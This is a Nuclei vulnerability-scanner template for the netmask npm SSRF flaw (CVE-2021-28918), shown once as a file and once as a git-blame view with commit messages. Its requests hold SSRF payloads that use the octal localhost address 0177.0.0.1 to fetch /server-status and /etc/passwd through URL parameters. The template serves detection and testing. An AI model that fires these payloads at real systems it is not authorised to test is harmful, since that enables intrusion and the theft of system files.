nuclei-templates/cves/2021/CVE-2021-28918.yaml

id: CVE-2021-28918

info:
  name: Netmask NPM Package - Server-Side Request Forgery
  author: johnjhacking
  severity: critical
  description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
  reference:
    - https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
    - https://github.com/advisories/GHSA-pch5-whg9-qr2r
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28918
    - https://github.com/rs/node-netmask
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2021-28918
    cwe-id: CWE-20
  tags: cve,cve2021,npm,netmask,ssrf,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "Apache Server Status"
          - "Server Version"
        condition: and

      - type: regex
        regex:
          - "root:.*:0:0:"

# Enhanced by mp on 2022/05/17
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`id: CVE-2021-28918`

			`info:`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`name: Netmask NPM Package - Server-Side Request Forgery`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`author: johnjhacking`
minor update 2021-07-06 07:11:16 +00:00			`severity: critical`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.`
few fixes 2021-09-03 07:40:35 +00:00			`reference:`
Update CVE-2021-28918.yaml 2021-09-03 07:44:24 +00:00			`- https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md`
			`- https://github.com/advisories/GHSA-pch5-whg9-qr2r`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-28918`
Auto Generated CVE annotations [Wed May 18 21:10:42 UTC 2022] :robot: 2022-05-18 21:10:42 +00:00			`- https://github.com/rs/node-netmask`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 9.1`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-28918`
			`cwe-id: CWE-20`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2021,npm,netmask,ssrf,lfi`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/?url=http://0177.0.0.1/server-status"`
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks! 2021-09-03 04:48:24 +00:00			`- "{{BaseURL}}/?host=http://0177.0.0.1/server-status"`
			`- "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"`
minor update 2021-07-06 07:11:16 +00:00
few fixes 2021-09-03 07:40:35 +00:00			`stop-at-first-match: true`
			`matchers-condition: or`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`matchers:`
			`- type: word`
Fixing Trailing Spaces As stated. 2021-07-06 07:05:03 +00:00			`part: body`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`words:`
			`- "Apache Server Status"`
Update CVE-2021-28918.yaml Fixing trailing spaces. 2021-07-06 07:03:18 +00:00			`- "Server Version"`
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks! 2021-09-03 04:48:24 +00:00			`condition: and`
few fixes 2021-09-03 07:40:35 +00:00
			`- type: regex`
			`regex:`
			`- "root:.*:0:0:"`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00
			`# Enhanced by mp on 2022/05/17`